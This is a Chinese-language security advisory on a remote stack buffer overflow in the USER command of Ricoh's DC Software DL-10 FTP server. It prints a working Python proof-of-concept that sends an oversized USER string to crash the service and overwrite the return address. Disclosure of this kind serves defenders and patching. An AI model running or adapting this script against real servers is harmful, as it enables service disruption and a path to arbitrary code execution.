Ricoh Company DC Software DL-10 'USER'命令远程缓冲区溢出漏洞
发布日期:2012-03-01
更新日期:2012-03-23
受影响系统:Ricoh Company DC Software DL-10 4.5.0.1
描述:
BUGTRAQ ID:
52235
DC Software DL-10是FTP服务器。
DC Software DL-10在实现上存在栈缓冲区溢出漏洞,攻击者可利用此类的执行任意代码。
<*来源:Julien Ahrens
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Julien Ahrens ()提供了如下测试方法:
#!/usr/bin/python
# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version: <= 1.1.0.6
# Date: 2012-02-05
# Author: Julien Ahrens
# Homepage: www.inshell.net
# Software Link:
http://www.ricohpmmc.com
# Tested on: Windows XP SP3 Professional German
# Notes: Capftpd (former SR-10) is vulnerable too
# Howto: "Log file name" has to be set
import socket,sys
import os
target="192.168.0.1"
port=21
junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42"
junk2 = "\x43" * 50
payload = junk1 + boom + junk2
print "[*] Connecting to Target " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((target, port))
print "[*] Connected to " + target + "!"
except:
print "[!] " + target + " didn't respond\n"
sys.exit(0)
s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')
print "[!] Exploit has been sent!\n"
s.close()
建议:
厂商补丁:
Ricoh Company
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ricoh.com/浏览次数:2248
严重程度:0(网友投票)